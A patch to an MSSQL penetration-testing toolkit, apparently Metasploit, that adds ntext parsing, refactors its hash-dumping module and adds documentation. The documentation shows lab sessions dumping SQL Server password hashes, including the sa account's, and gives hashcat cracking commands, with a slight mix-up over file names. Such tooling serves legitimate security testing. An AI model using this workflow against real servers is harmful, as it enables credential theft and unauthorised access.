From d35748497c593493125013fd77255a180568244d Mon Sep 17 00:00:00 2001 From: Zach Goldman Date: Thu, 4 Apr 2024 08:34:51 -0500 Subject: [PATCH] adds ntext parsing to mssql --- .../auxiliary/scanner/mssql/mssql_hashdump.md | 91 +++++++++++++++++++ lib/rex/proto/mssql/client_mixin.rb | 27 +++++- .../auxiliary/scanner/mssql/mssql_hashdump.rb | 32 +++---- .../scanner/mssql/mssql_schemadump.rb | 6 +- spec/acceptance/mssql_spec.rb | 12 ++- test/modules/post/test/mssql.rb | 9 ++ 6 files changed, 153 insertions(+), 24 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md diff --git a/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md new file mode 100644 index 000000000000..ea10b5f4cdcc --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md @@ -0,0 +1,91 @@ +## Description + +The `mssql_hashdump` module queries an MSSQL instance or session and returns hashed user:pass pairs. These pairs can be decripted via or `hashcat`. + +## Available Options + +``` +msf6 auxiliary(scanner/mssql/mssql_hashdump) > options + +Module options (auxiliary/scanner/mssql/mssql_hashdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set) + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DATABASE MSSQL no The database to authenticate against + PASSWORD no The password for the specified username + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 1433 no The target port (TCP) + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME MSSQL no The username to authenticate as + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on +``` + +## Scenarios + +With a session: +``` +msf6 auxiliary(scanner/mssql/mssql_hashdump) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 mssql MSSQL sa @ 127.0.0.1:1433 127.0.0.1:52307 -> 127.0.0.1:1433 (127.0.0.1) + +msf6 auxiliary(scanner/mssql/mssql_hashdump) > run session=-1 + +[*] Using existing session 1 +[*] Instance Name: "758549b9f69e" +[+] Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E +[+] Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2 +[+] Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password + +[*] 127.0.0.1:1433 - Instance Name: "758549b9f69e" +[+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2 +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 +[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +Directly querying a machine: +``` +msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password + +[*] 127.0.0.1:1433 - Instance Name: "758549b9f69e" +[+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2 +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 +[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +Different MSSQL Versions have different hash formats. For example: + +MSSQL (2000): 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 +MSSQL (2005): 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe +MSSQL (2012 and later): 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 + +To decrypt: +Save into a `passwords.txt` file +Run with hashcat, based on the MSSQL Version: +`hashcat --force -m 131 ./hashes.txt ./passwords.txt` (MSSQL 2000) +`hashcat --force -m 132 ./hashes.txt ./passwords.txt` (MSSQL 2005) +`hashcat --force -m 1731 ./hashes.txt ./passwords.txt` (MSSQL 2012 and later) diff --git a/lib/rex/proto/mssql/client_mixin.rb b/lib/rex/proto/mssql/client_mixin.rb index 153f582d59d2..2c00c7ba869e 100644 --- a/lib/rex/proto/mssql/client_mixin.rb +++ b/lib/rex/proto/mssql/client_mixin.rb @@ -79,7 +79,7 @@ def mssql_print_reply(info) ) info[:rows].each do |row| - tbl << row + tbl << row.map{ |x| x.nil? ? 'nil' : x } end print_line(tbl.to_s) @@ -206,6 +206,15 @@ def mssql_parse_tds_reply(data, info) when 50 col[:id] = :bit + when 99 + col[:id] = :ntext + col[:max_size] = data.slice!(0, 4).unpack('V')[0] + col[:codepage] = data.slice!(0, 2).unpack('v')[0] + col[:cflags] = data.slice!(0, 2).unpack('v')[0] + col[:charset_id] = data.slice!(0, 1).unpack('C')[0] + col[:namelen] = data.slice!(0, 1).unpack('C')[0] + col[:table_name] = data.slice!(0, (col[:namelen] * 2) + 1).gsub("\x00", '') + when 104 col[:id] = :bitn col[:int_size] = data.slice!(0, 1).unpack('C')[0] @@ -328,6 +337,22 @@ def mssql_parse_tds_row(data, info) end row << str.gsub("\x00", '') + when :ntext + str = nil + ptrlen = data.slice!(0, 1).unpack("C")[0] + ptr = data.slice!(0, ptrlen) + unless ptrlen == 0 + timestamp = data.slice!(0, 8) + datalen = data.slice!(0, 4).unpack("V")[0] + if datalen > 0 && datalen < 65535 + str = data.slice!(0, datalen).gsub("\x00", '') + else + str = '' + end + end + row << str + + when :datetime row << data.slice!(0, 8).unpack("H*")[0] diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index cfac867a4f7b..0b19e3cb63e1 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -27,7 +27,12 @@ def run_host(ip) if session set_session(session.client) elsif !mssql_login(datastore['USERNAME'], datastore['PASSWORD']) - print_error('Invalid SQL Server credentials') + info = self.mssql_client.initial_connection_info + if info[:errors] && !info[:errors].empty? + info[:errors].each do |err| + print_error(err) + end + end return end @@ -79,7 +84,7 @@ def run_host(ip) unless is_sysadmin == 0 mssql_hashes = mssql_hashdump(version_year) - unless mssql_hashes.nil? + unless mssql_hashes.nil? || mssql_hashes.empty? report_hashes(mssql_hashes,version_year) end end @@ -89,14 +94,12 @@ def run_host(ip) # Stores the grabbed hashes as loot for later cracking # The hash format is slightly different between 2k and 2k5/2k8 def report_hashes(mssql_hashes, version_year) - case version_year when "2000" hashtype = "mssql" - when "2005", "2008" hashtype = "mssql05" - when "2012", "2014" + else hashtype = "mssql12" end @@ -107,12 +110,6 @@ def report_hashes(mssql_hashes, version_year) :proto => 'tcp' ) - tbl = Rex::Text::Table.new( - 'Header' => 'MS SQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) - service_data = { address: ::Rex::Socket.getaddress(mssql_client.peerhost,true), port: mssql_client.peerport, @@ -125,12 +122,15 @@ def report_hashes(mssql_hashes, version_year) next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + username = row[0] + upcase_hash = "0x#{row[1].upcase}" + credential_data = { module_fullname: self.fullname, origin_type: :service, private_type: :nonreplayable_hash, - private_data: "0x#{row[1]}", - username: row[0], + private_data: upcase_hash, + username: username, jtr_format: hashtype } @@ -146,8 +146,7 @@ def report_hashes(mssql_hashes, version_year) login_data.merge!(service_data) login = create_credential_login(login_data) - tbl << [row[0], row[1]] - print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}") + print_good("Saving #{hashtype} = #{username}:#{upcase_hash}") end end @@ -164,8 +163,7 @@ def mssql_hashdump(version_year) case version_year when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - - when "2005", "2008", "2012", "2014" + else results = mssql_query(mssql_2k5_password_hashes())[:rows] end diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index bd4f5ad9ab8d..234cb54990ed 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -49,7 +49,11 @@ def run_host(ip) # Grab all the DB schema and save it as notes mssql_schema = get_mssql_schema - return nil if mssql_schema.nil? or mssql_schema.empty? + if mssql_schema.nil? or mssql_schema.empty? + print_good output if datastore['DISPLAY_RESULTS'] + print_warning('No schema information found') + return nil + end mssql_schema.each do |db| report_note( :host => mssql_client.peerhost, diff --git a/spec/acceptance/mssql_spec.rb b/spec/acceptance/mssql_spec.rb index 7fa4adc695c4..3c8a7c20b7af 100644 --- a/spec/acceptance/mssql_spec.rb +++ b/spec/acceptance/mssql_spec.rb @@ -35,7 +35,7 @@ lines: { all: { required: [ - 'Instance Name:' + /Instance Name: "\w+"/, ] }, } @@ -64,8 +64,12 @@ lines: { all: { required: [ - 'Instance Name:', - 'Scanned 1 of 1 hosts (100% complete)' + /Instance Name: "\w+"/, + 'Microsoft SQL Server Schema', + 'Host:', + 'Port:', + 'Instance:', + 'Version:' ] }, } @@ -78,9 +82,7 @@ lines: { all: { required: [ - # Default module query "Response", - # Result "Microsoft SQL Server", ] }, diff --git a/test/modules/post/test/mssql.rb b/test/modules/post/test/mssql.rb index 385b1e721ecf..9619ce5b70f4 100644 --- a/test/modules/post/test/mssql.rb +++ b/test/modules/post/test/mssql.rb @@ -41,6 +41,15 @@ def test_console_query end end + def test_datatypes + it "should support ntext TDS datatype" do + stdout = with_mocked_console(session) {|console| console.run_single(%{ query "select cast('foo' as ntext);"})} + ret = true + ret &&= stdout.buf.match?(/0 foo/) + ret + end + end + def test_console_help it "should support the help command" do stdout = with_mocked_console(session) { |console| console.run_single("help") }